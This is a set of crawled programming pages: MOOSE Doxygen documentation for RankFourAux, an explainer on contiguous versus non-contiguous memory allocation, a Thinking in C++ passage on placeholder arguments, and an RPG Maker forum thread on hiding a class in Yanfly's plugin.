InputParameters validParams< RankFourAux > ()
RankFourAux is designed to take the data in the RankFourTensor material property, for example stiffness, and output the value for the supplied indices. More...
Function Documentation
template<>
InputParameters validParams< RankFourAux > ( )
RankFourAux is designed to take the data in the RankFourTensor material property, for example stiffness, and output the value for the supplied indices.
Definition at line 11 of file RankFourAux.C.
12 {
13 InputParameters params = validParams<AuxKernel>();
14 params.addClassDescription("Access a component of a RankFourTensor");
15
16 // add stuff here
17 params.addRequiredParam<MaterialPropertyName>("rank_four_tensor",
18 "The rank four material tensor name");
19 params.addRequiredRangeCheckedParam<unsigned int>(
20 "index_i",
21 "index_i >= 0 & index_i <= 2",
22 "The index i of ijkl for the tensor to output (0, 1, 2)");
23 params.addRequiredRangeCheckedParam<unsigned int>(
24 "index_j",
25 "index_j >= 0 & index_j <= 2",
26 "The index j of ijkl for the tensor to output (0, 1, 2)");
27 params.addRequiredRangeCheckedParam<unsigned int>(
28 "index_k",
29 "index_k >= 0 & index_k <= 2",
30 "The index k of ijkl for the tensor to output (0, 1, 2)");
31 params.addRequiredRangeCheckedParam<unsigned int>(
32 "index_l",
33 "index_l >= 0 & index_l <= 2",
34 "The index l of ijkl for the tensor to output (0, 1, 2)");
35
36 return params;
37 } | {
"url": "http://mooseframework.org/docs/doxygen/modules/RankFourAux_8h.html",
"source_domain": "mooseframework.org",
"snapshot_id": "crawl=CC-MAIN-2017-47",
"warc_metadata": {
"Content-Length": "11828",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:HJ6OXF5H6ANAPBAU4F6PDMBZ7AZOGN3E",
"WARC-Concurrent-To": "<urn:uuid:d4f3ad1f-a8ec-48f0-95b1-80f19f6b1f10>",
"WARC-Date": "2017-11-21T22:52:00Z",
"WARC-IP-Address": "198.58.103.142",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:R6QR7HC2KWVW2E3FV3V3UFJCXFE7T7ZY",
"WARC-Record-ID": "<urn:uuid:438ef032-3efe-44ba-9238-11d598b44f8e>",
"WARC-Target-URI": "http://mooseframework.org/docs/doxygen/modules/RankFourAux_8h.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8ef181b9-d421-4ce1-9944-6cca6a256ee0>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-67-196-54.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-47\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for November 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
23,
43,
72,
73,
109,
110,
118,
119,
138,
140,
141,
151,
152,
163,
209,
370,
372,
373,
396,
397,
408,
455,
456,
608,
609,
654,
655,
660,
715,
789,
793,
815,
885,
928,
983,
998,
1033,
1096,
1151,
1166,
1201,
1264,
1319,
1334,
1369,
1432,
1487,
1502,
1537,
1600,
1604,
1623
],
"line_end_idx": [
23,
43,
72,
73,
109,
110,
118,
119,
138,
140,
141,
151,
152,
163,
209,
370,
372,
373,
396,
397,
408,
455,
456,
608,
609,
654,
655,
660,
715,
789,
793,
815,
885,
928,
983,
998,
1033,
1096,
1151,
1166,
1201,
1264,
1319,
1334,
1369,
1432,
1487,
1502,
1537,
1600,
1604,
1623,
1627
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1627,
"ccnet_original_nlines": 52,
"rps_doc_curly_bracket": 0.0012292600004002452,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1809816062450409,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.003067479934543371,
"rps_doc_frac_lines_end_with_ellipsis": 0.018867919221520424,
"rps_doc_frac_no_alph_words": 0.44785276055336,
"rps_doc_frac_unique_words": 0.46411484479904175,
"rps_doc_mean_word_length": 5.717703342437744,
"rps_doc_num_sentences": 16,
"rps_doc_symbol_to_word_ratio": 0.003067479934543371,
"rps_doc_unigram_entropy": 4.217612266540527,
"rps_doc_word_count": 209,
"rps_doc_frac_chars_dupe_10grams": 0.38326358795166016,
"rps_doc_frac_chars_dupe_5grams": 0.38326358795166016,
"rps_doc_frac_chars_dupe_6grams": 0.38326358795166016,
"rps_doc_frac_chars_dupe_7grams": 0.38326358795166016,
"rps_doc_frac_chars_dupe_8grams": 0.38326358795166016,
"rps_doc_frac_chars_dupe_9grams": 0.38326358795166016,
"rps_doc_frac_chars_top_2gram": 0.030125519260764122,
"rps_doc_frac_chars_top_3gram": 0.030125519260764122,
"rps_doc_frac_chars_top_4gram": 0.04016736149787903,
"rps_doc_books_importance": -135.5224609375,
"rps_doc_books_importance_length_correction": -121.71978759765625,
"rps_doc_openwebtext_importance": -58.410186767578125,
"rps_doc_openwebtext_importance_length_correction": -58.410186767578125,
"rps_doc_wikipedia_importance": -71.58749389648438,
"rps_doc_wikipedia_importance_length_correction": -58.521812438964844
},
"fasttext": {
"dclm": 0.8865293860435486,
"english": 0.34695306420326233,
"fineweb_edu_approx": 1.817665457725525,
"eai_general_math": 0.3039407730102539,
"eai_open_web_math": 0.29856717586517334,
"eai_web_code": 0.398837685585022
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "620.1",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-3,743,787,408,701,007,400 | Download the BYJU'S Exam Prep App for free GATE/ESE preparation videos & tests - Download the BYJU'S Exam Prep App for free GATE/ESE preparation videos & tests -
Difference between Contiguous and Noncontiguous Memory Allocation
Contiguous Vs Non Contiguous: What is The Difference between Contiguous and Noncontiguous Memory Allocation?
Memory is an enormous collection of bytes, and the term memory allocation is a method by which computer programs are allotted space. When it comes to memory allocation, it can be divided into two categories: contiguous memory allocation and non-contiguous memory allocation. In contiguous memory allocation, a single part of the memory section is allowed to accomplish the further process. While on other hand, in non-contiguous memory allocation, the method is assigned to different memory sections at multiple memory locations in the memory. There is so much to unfold. Let’s find out the difference between Contiguous and Noncontiguous Memory Allocation in detail.
What Is Contiguous Memory Allocation?
Contiguous memory allocation is a procedure in which a single segment of memory is assigned to execute the process.
In this memory allocation scheme, all the free memory space can stay at the same place concurrently.
What is Non-Contiguous Memory Allocation?
In non-contiguous memory allocation, the operation is allowed to different memory sections at multiple memory positions in the memory.
Difference between Contiguous and Noncontiguous Memory Allocation
S.No Contiguous Memory Allocation Non-Contiguous Memory Allocation
1. In contiguous memory allocation, a sole contiguous segment of memory is assigned to execute the process. In non-contiguous memory allocation, the process is allowed to various memory sections at multiple memory locations in the memory.
2. The execution is faster in In contiguous memory allocation The execution is slower in In non-contiguous memory allocation.
3. It is simple to manage. It is hard to manage.
4. It involves both single-partition and multi-partition allocation. This memory allocation scheme includes segmentation and paging.
5. In this, there is a destruction of memory. In this, there is no destruction of memory.
6. In this, both internal and external fragmentation occurs. In this, only external fragmentation occurs.
Keep learning and stay tuned to get the latest updates on GATE Exam along with GATE Eligibility CriteriaGATE 2023GATE Admit CardGATE Application FormGATE SyllabusGATE Cut offGATE Previous Year Question Paper, and more.
Comments
Leave a Comment
Your Mobile number and Email id will not be published.
*
* | {
"url": "https://byjus.com/gate/difference-between-contiguous-and-noncontiguous-memory-allocation/",
"source_domain": "byjus.com",
"snapshot_id": "CC-MAIN-2024-30",
"warc_metadata": {
"Content-Length": "569194",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:AU7JUQS6K3KAZS7U56R2KOEPP55KO3F4",
"WARC-Concurrent-To": "<urn:uuid:6623fcb8-28cc-4581-baeb-aae7be60f5d5>",
"WARC-Date": "2024-07-21T20:20:34Z",
"WARC-IP-Address": "34.36.4.163",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:SJTTBL5L7CNO6A4HNZK3FBAMIB5YCQTE",
"WARC-Record-ID": "<urn:uuid:2c9d0238-b585-4d16-8bdc-9a734b4d5b05>",
"WARC-Target-URI": "https://byjus.com/gate/difference-between-contiguous-and-noncontiguous-memory-allocation/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e9b5f8d1-8520-4045-b4e9-475df7a9c0c4>"
},
"warc_info": "isPartOf: CC-MAIN-2024-30\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-161\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
162,
163,
229,
230,
339,
340,
1008,
1009,
1047,
1048,
1164,
1165,
1266,
1267,
1309,
1310,
1445,
1446,
1512,
1513,
1580,
1819,
1945,
1994,
2127,
2217,
2323,
2324,
2543,
2544,
2553,
2554,
2570,
2571,
2626,
2627,
2629,
2630
],
"line_end_idx": [
162,
163,
229,
230,
339,
340,
1008,
1009,
1047,
1048,
1164,
1165,
1266,
1267,
1309,
1310,
1445,
1446,
1512,
1513,
1580,
1819,
1945,
1994,
2127,
2217,
2323,
2324,
2543,
2544,
2553,
2554,
2570,
2571,
2626,
2627,
2629,
2630,
2631
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2631,
"ccnet_original_nlines": 38,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.29424306750297546,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02558634988963604,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.15778252482414246,
"rps_doc_frac_unique_words": 0.38860103487968445,
"rps_doc_mean_word_length": 5.588082790374756,
"rps_doc_num_sentences": 32,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.310829162597656,
"rps_doc_word_count": 386,
"rps_doc_frac_chars_dupe_10grams": 0.10106629878282547,
"rps_doc_frac_chars_dupe_5grams": 0.37273991107940674,
"rps_doc_frac_chars_dupe_6grams": 0.28372740745544434,
"rps_doc_frac_chars_dupe_7grams": 0.28372740745544434,
"rps_doc_frac_chars_dupe_8grams": 0.20491422712802887,
"rps_doc_frac_chars_dupe_9grams": 0.14742697775363922,
"rps_doc_frac_chars_top_2gram": 0.1631896197795868,
"rps_doc_frac_chars_top_3gram": 0.1478905826807022,
"rps_doc_frac_chars_top_4gram": 0.0741771012544632,
"rps_doc_books_importance": -221.6909637451172,
"rps_doc_books_importance_length_correction": -221.6909637451172,
"rps_doc_openwebtext_importance": -99.48870086669922,
"rps_doc_openwebtext_importance_length_correction": -99.48870086669922,
"rps_doc_wikipedia_importance": -119.89021301269531,
"rps_doc_wikipedia_importance_length_correction": -119.89021301269531
},
"fasttext": {
"dclm": 0.5852712392807007,
"english": 0.8802762627601624,
"fineweb_edu_approx": 2.7659053802490234,
"eai_general_math": 0.03430252894759178,
"eai_open_web_math": 0.05438673123717308,
"eai_web_code": 0.011174200102686882
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.22",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "004.2",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
5,550,987,427,962,045,000 | Follow Techotopia on Twitter
On-line Guides
All Guides
eBook Store
iOS / Android
Linux for Beginners
Office Productivity
Linux Installation
Linux Security
Linux Utilities
Linux Virtualization
Linux Kernel
System/Network Admin
Programming
Scripting Languages
Development Tools
Web Development
GUI Toolkits/Desktop
Databases
Mail Systems
openSolaris
Eclipse Documentation
Techotopia.com
Virtuatopia.com
Answertopia.com
How To Guides
Virtualization
General System Admin
Linux Security
Linux Filesystems
Web Servers
Graphics & Desktop
PC Hardware
Windows
Problem Solutions
Privacy Policy
Thinking in C++
Prev Contents / Index Next
Placeholder arguments
Arguments in a function declaration can be declared without identifiers. When these are used with default arguments, it can look a bit funny. You can end up with
void f(int x, int = 0, float = 1.1);
In C++ you don’t need identifiers in the function definition, either:
void f(int x, int, float flt) { /* ... */ }
In the function body, x and flt can be referenced, but not the middle argument, because it has no name. Function calls must still provide a value for the placeholder, though: f(1) or f(1,2,3.0). This syntax allows you to put the argument in as a placeholder without using it. The idea is that you might want to change the function definition to use the placeholder later, without changing all the code where the function is called. Of course, you can accomplish the same thing by using a named argument, but if you define the argument for the function body without using it, most compilers will give you a warning message, assuming you’ve made a logical error. By intentionally leaving the argument name out, you suppress this warning.
More important, if you start out using a function argument and later decide that you don’t need it, you can effectively remove it without generating warnings, and yet not disturb any client code that was calling the previous version of the function.
Thinking in C++
Prev Contents / Index Next
Reproduced courtesy of Bruce Eckel, MindView, Inc. Design by Interspire | {
"url": "https://www.linuxtopia.org/online_books/programming_books/thinking_in_c++/Chapter07_007.html",
"source_domain": "www.linuxtopia.org",
"snapshot_id": "CC-MAIN-2024-38",
"warc_metadata": {
"Content-Length": "38977",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:3K72D2TNCSYZ4TFDQCYEY4KQAT45DPUF",
"WARC-Concurrent-To": "<urn:uuid:d2a1a42c-ea0f-4a45-8fa5-3470032457c4>",
"WARC-Date": "2024-09-18T10:52:41Z",
"WARC-IP-Address": "172.67.165.194",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:W7XOWBQBK5CHOEPUTVC7GOFRQXXYIFWA",
"WARC-Record-ID": "<urn:uuid:16de04f2-01f1-48a5-a5e3-a213bba1274f>",
"WARC-Target-URI": "https://www.linuxtopia.org/online_books/programming_books/thinking_in_c++/Chapter07_007.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:30f2297d-3ab5-4c27-9336-2cb161c1b6fd>"
},
"warc_info": "isPartOf: CC-MAIN-2024-38\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-15\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
29,
30,
45,
56,
68,
82,
102,
122,
141,
156,
172,
193,
206,
227,
239,
259,
277,
293,
314,
324,
337,
349,
371,
386,
402,
418,
419,
433,
448,
469,
484,
502,
514,
533,
545,
553,
571,
586,
587,
590,
591,
592,
593,
594,
596,
597,
599,
600,
616,
643,
644,
666,
667,
829,
830,
867,
868,
938,
939,
983,
984,
1720,
1721,
1971,
1972,
1988,
2015,
2016,
2018,
2020
],
"line_end_idx": [
29,
30,
45,
56,
68,
82,
102,
122,
141,
156,
172,
193,
206,
227,
239,
259,
277,
293,
314,
324,
337,
349,
371,
386,
402,
418,
419,
433,
448,
469,
484,
502,
514,
533,
545,
553,
571,
586,
587,
590,
591,
592,
593,
594,
596,
597,
599,
600,
616,
643,
644,
666,
667,
829,
830,
867,
868,
938,
939,
983,
984,
1720,
1721,
1971,
1972,
1988,
2015,
2016,
2018,
2020,
2096
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2096,
"ccnet_original_nlines": 70,
"rps_doc_curly_bracket": 0.0009541999897919595,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3449999988079071,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012500000186264515,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1875,
"rps_doc_frac_unique_words": 0.5822784900665283,
"rps_doc_mean_word_length": 5.26265811920166,
"rps_doc_num_sentences": 17,
"rps_doc_symbol_to_word_ratio": 0.0024999999441206455,
"rps_doc_unigram_entropy": 4.902101993560791,
"rps_doc_word_count": 316,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03848467022180557,
"rps_doc_frac_chars_dupe_6grams": 0.03848467022180557,
"rps_doc_frac_chars_dupe_7grams": 0.03848467022180557,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03968730941414833,
"rps_doc_frac_chars_top_3gram": 0.02164761908352375,
"rps_doc_frac_chars_top_4gram": 0.01803969033062458,
"rps_doc_books_importance": -157.55995178222656,
"rps_doc_books_importance_length_correction": -157.55995178222656,
"rps_doc_openwebtext_importance": -97.48519897460938,
"rps_doc_openwebtext_importance_length_correction": -97.48519897460938,
"rps_doc_wikipedia_importance": -61.69633483886719,
"rps_doc_wikipedia_importance_length_correction": -61.69633483886719
},
"fasttext": {
"dclm": 0.029400290921330452,
"english": 0.7313537001609802,
"fineweb_edu_approx": 2.439448595046997,
"eai_general_math": 0.37057989835739136,
"eai_open_web_math": 0.6407500505447388,
"eai_web_code": 0.4253939986228943
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-5,927,850,048,124,191,000 | jbstuff
Villager
Member
Joined
May 21, 2012
Messages
5
Reaction score
3
First Language
English
Primarily Uses
I am using Yanfly's Class Change Core (link here) and Yanfly's Subclass addon (link here).
Having looked around I haven't found many answers to this particular question, namely, how to hide a specific class (or classes from showing up under the class list in Yanfly's Class Plugins.
Effectively: There is a subclass that the player will never be able to change, it will be used in the background but shouldn't be visible to the player. To affect this I know how to remove the Subclass menu, and to designate certain classes as either "Primary Only" or "Subclass Only". The issue, however, is that all unlocked classes will be displayed.
In the spoiler below I've taken a screen grab showing the class I would like to be hidden from the display list (marked with the arrow).
classScene.PNG
Looking at the code for Yanfly's Class Change Core plugin my suspicion is that what I need to fiddle with can be found beginning at line 1081 under the makeItemlist.
Code:
Window_ClassList.prototype.makeItemList = function() {
if (this._actor) {
var data = this._actor.unlockedClasses().slice();
} else {
var data = [];
}
this._data = [];
for (var i = 0; i < data.length; ++i) {
var classId = data[i];
if ($dataClasses[classId] && !this._data.contains(classId)) {
this._data.push(classId);
}
}
this._data.sort(function(a, b) { return a - b });
};
I'm not a coder, but I have over the years found myself able to fiddle with parts of code to get desired results. Here, however, I feel pretty stumped.
My intuition would be to somehow tell the plugin to ignore certain classes by their ID. I attempted to add "&& !this.classID = 1" (class ID 1 in the Database is the class I am trying to hide in my project) to line 1090, however this resulted in the Class Change menu being completely inaccessible either through the Menu or by evented Plugin Command. To be fair I was basically throwing throwing darts blindly.
I would be absolutely happy as a pickle if one of you fine and wizened individuals might be able to help point me in the right direction.
I would be more than happy to provide extra details if that's important, or be open to alternative and/or out of the box solutions to my problem.
Thank you.
Traverse
Veteran
Veteran
Joined
Jul 3, 2014
Messages
193
Reaction score
125
First Language
English
Primarily Uses
You're close.
I'll provide some context you might be missing. The object "$dataClasses" is generated directly from the Classes.json file (the file that stores your Classes settings in the Database) and whenever any code pulls info from the game's Database, it pulls it from the $dataXXX. So you can basically consider any reference to it to be a reference to stuff in your game Database.
Meanwhile the "this" keyword reflexively refers to the object performing the current function (in this case, Window_ClassList). And in any Window object, the "_data" variable/property gets used to store the menu options it displays (which can be whole objects like Items or Skills or, in this case, just numbers representing Class IDs).
(Although bear in mind, the actual displaying is done by some other function (like "drawItem"/"drawAllItems"/etc.) that ultimately uses drawText to print the text and the reason you see ultimately the Class names instead of their IDs in-game is because somewhere along the line in those functions, it uses the IDs to look up the name to print.)
So this:
Code:
if ($dataClasses[classId] && !this._data.contains(classId)) { ... }
Means "if an entry exists in the Database corresponding to the provided classID index number (i.e. the list isn't shorter than that; remember a blank Class entry, even nameless, can still count as a valid Class) and the Window_ClassList's "_data" list of options doesn't already contain that number then do ....". (With the thing to do being to add the number to the list, in this case).
Hope that helps.
EDIT: Also, remember that you need to use double equals ("==") in an if-statement. A single "=" is for setting a variable to some value.
Last edited:
Engr. Adiktuzmiko
Chemical Engineer, Game Developer, Using BlinkBoy'
Veteran
Joined
May 15, 2012
Messages
14,682
Reaction score
3,005
First Language
Tagalog
Primarily Uses
RMVXA
The issue, however, is that all unlocked classes will be displayed.
Since you said this class will only be used in the background, why not just "lock" it (or dont unlock it)?
Latest Threads
Latest Posts
Latest Profile Posts
I wish character bust packs had options for both side-facing and front-facing for the same characters.
Looks like I'm going to have to cancel another game.
For now it is in testing phase: Changing the game icon from Rm2k/2k3 without needing to edit the executable.
Rm2k-DinChangeIcon.png
When there's a will, there's a lifehack. :ninja:
Before i mess with battle UI further, does it look decent enough? :hswt:
Forum statistics
Threads
112,528
Messages
1,068,980
Members
146,216
Latest member
WTCraft2003
Top | {
"url": "https://forums.rpgmakerweb.com/index.php?threads/hiding-specific-classes-in-yanfly-change-class-core.107611/",
"source_domain": "forums.rpgmakerweb.com",
"snapshot_id": "crawl=CC-MAIN-2021-25",
"warc_metadata": {
"Content-Length": "82344",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2AFXZTHAYMBNIKACLXDGVSFEE3U6SEPG",
"WARC-Concurrent-To": "<urn:uuid:c5c0bb53-2785-4a7c-9739-db281dad10a5>",
"WARC-Date": "2021-06-24T20:54:15Z",
"WARC-IP-Address": "45.79.217.141",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:BEK6LDZETTWQLROEOLSZ4Y4GOWKJ3LX4",
"WARC-Record-ID": "<urn:uuid:a6b6321c-572e-4333-a3b0-61c8f7213b09>",
"WARC-Target-URI": "https://forums.rpgmakerweb.com/index.php?threads/hiding-specific-classes-in-yanfly-change-class-core.107611/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:6f03e3df-9d0e-45c8-8602-c85cb08114e9>"
},
"warc_info": "isPartOf: CC-MAIN-2021-25\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-168.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
8,
9,
18,
25,
32,
45,
54,
56,
71,
73,
88,
96,
111,
202,
203,
395,
396,
750,
751,
888,
889,
904,
905,
1071,
1072,
1078,
1133,
1156,
1214,
1227,
1250,
1256,
1277,
1321,
1350,
1418,
1452,
1460,
1466,
1520,
1523,
1524,
1676,
1677,
2088,
2089,
2227,
2228,
2374,
2375,
2386,
2388,
2389,
2398,
2399,
2407,
2415,
2422,
2434,
2443,
2447,
2462,
2466,
2481,
2489,
2504,
2518,
2519,
2893,
2894,
3231,
3232,
3577,
3578,
3587,
3593,
3661,
4049,
4050,
4067,
4068,
4205,
4207,
4220,
4221,
4239,
4240,
4291,
4299,
4306,
4319,
4328,
4335,
4350,
4356,
4371,
4379,
4394,
4400,
4468,
4469,
4576,
4578,
4579,
4594,
4595,
4608,
4609,
4630,
4631,
4734,
4787,
4896,
4919,
4968,
4969,
5042,
5043,
5060,
5061,
5069,
5077,
5086,
5096,
5104,
5112,
5126,
5138
],
"line_end_idx": [
8,
9,
18,
25,
32,
45,
54,
56,
71,
73,
88,
96,
111,
202,
203,
395,
396,
750,
751,
888,
889,
904,
905,
1071,
1072,
1078,
1133,
1156,
1214,
1227,
1250,
1256,
1277,
1321,
1350,
1418,
1452,
1460,
1466,
1520,
1523,
1524,
1676,
1677,
2088,
2089,
2227,
2228,
2374,
2375,
2386,
2388,
2389,
2398,
2399,
2407,
2415,
2422,
2434,
2443,
2447,
2462,
2466,
2481,
2489,
2504,
2518,
2519,
2893,
2894,
3231,
3232,
3577,
3578,
3587,
3593,
3661,
4049,
4050,
4067,
4068,
4205,
4207,
4220,
4221,
4239,
4240,
4291,
4299,
4306,
4319,
4328,
4335,
4350,
4356,
4371,
4379,
4394,
4400,
4468,
4469,
4576,
4578,
4579,
4594,
4595,
4608,
4609,
4630,
4631,
4734,
4787,
4896,
4919,
4968,
4969,
5042,
5043,
5060,
5061,
5069,
5077,
5086,
5096,
5104,
5112,
5126,
5138,
5141
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5141,
"ccnet_original_nlines": 128,
"rps_doc_curly_bracket": 0.0027232100255787373,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37306642532348633,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.021838029846549034,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2347588688135147,
"rps_doc_frac_unique_words": 0.48383083939552307,
"rps_doc_mean_word_length": 4.858209133148193,
"rps_doc_num_sentences": 63,
"rps_doc_symbol_to_word_ratio": 0.0018198400503024459,
"rps_doc_unigram_entropy": 5.4054484367370605,
"rps_doc_word_count": 804,
